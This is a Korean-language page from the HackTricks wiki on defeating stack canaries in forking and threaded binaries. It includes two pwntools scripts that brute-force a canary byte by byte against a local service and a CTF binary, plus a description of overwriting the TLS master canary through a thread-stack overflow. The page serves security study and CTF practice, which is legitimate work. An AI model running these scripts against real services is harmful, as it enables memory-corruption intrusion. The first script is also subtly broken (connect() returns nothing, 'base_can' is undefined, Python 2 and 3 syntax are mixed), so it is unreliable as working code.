BF Forked & Threaded Stack Canaries
Reading time: 4 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
바이너리가 카나리와 PIE(위치 독립 실행 파일)로 보호되고 있다면, 이를 우회할 방법을 찾아야 할 것입니다.
note
**checksec
**가 바이너리가 카나리로 보호되고 있다는 것을 찾지 못할 수 있습니다. 이는 정적으로 컴파일되었고 함수를 식별할 수 없기 때문입니다.
그러나 함수 호출의 시작 부분에서 스택에 값이 저장되고 이 값이 종료 전에 확인되는 것을 발견하면 수동으로 이를 알 수 있습니다.
Brute force Canary
간단한 카나리를 우회하는 가장 좋은 방법은 바이너리가 새로운 연결을 설정할 때마다 자식 프로세스를 포크하는 프로그램인 경우입니다(네트워크 서비스). 왜냐하면 연결할 때마다 같은 카나리가 사용되기 때문입니다.
따라서 카나리를 우회하는 가장 좋은 방법은 문자별로 브루트 포스하는 것이며, 추측한 카나리 바이트가 올바른지 확인하기 위해 프로그램이 충돌했는지 아니면 정상 흐름을 계속하는지를 확인할 수 있습니다. 이 예제에서는 함수가 **8바이트 카나리(x64)**를 브루트 포스하며, 올바르게 추측한 바이트와 잘못된 바이트를 응답이 서버에 의해 반환되는지를 확인하여 구분합니다(다른 상황에서는 try/except를 사용할 수 있습니다):
Example 1
이 예제는 64비트로 구현되었지만 32비트로도 쉽게 구현할 수 있습니다.
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
Example 2
이것은 32비트에 대해 구현되었지만, 64비트로 쉽게 변경할 수 있습니다.
또한 이 예제에서는 프로그램이 입력의 크기를 나타내는 바이트와 페이로드를 먼저 기대한다는 점에 유의하십시오.
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
#gdb.attach(target)
# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")
스레드
같은 프로세스의 스레드는 같은 카나리 토큰을 공유하므로, 이진 파일이 공격이 발생할 때마다 새로운 스레드를 생성하면 카나리를 무차별 대입할 수 있습니다.
게다가, 카나리로 보호된 스레드 함수에서의 버퍼 오버플로우는 TLS에 저장된 마스터 카나리를 수정하는 데 사용될 수 있습니다. 이는 스레드의 스택에서 bof를 통해 TLS가 저장된 메모리 위치에 도달할 수 있을 가능성이 있기 때문입니다.
결과적으로, 완화 조치는 두 개의 동일한 카나리(수정된 카나리)를 사용하기 때문에 무용지물입니다.
이 공격은 다음의 글에서 수행됩니다: http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads
또한, https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015에서 TLS가 **mmap
**에 의해 저장되며, 스레드의 스택이 생성될 때도 mmap
에 의해 생성된다는 내용을 확인해 보세요. 이는 이전 글에서 보여준 것처럼 오버플로우를 허용할 수 있습니다.
기타 예제 및 참고자료
- https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html
- 64비트, PIE 없음, nx, BF 카나리, 메모리에 ROP를 작성하여
execve
를 호출하고 그곳으로 점프합니다.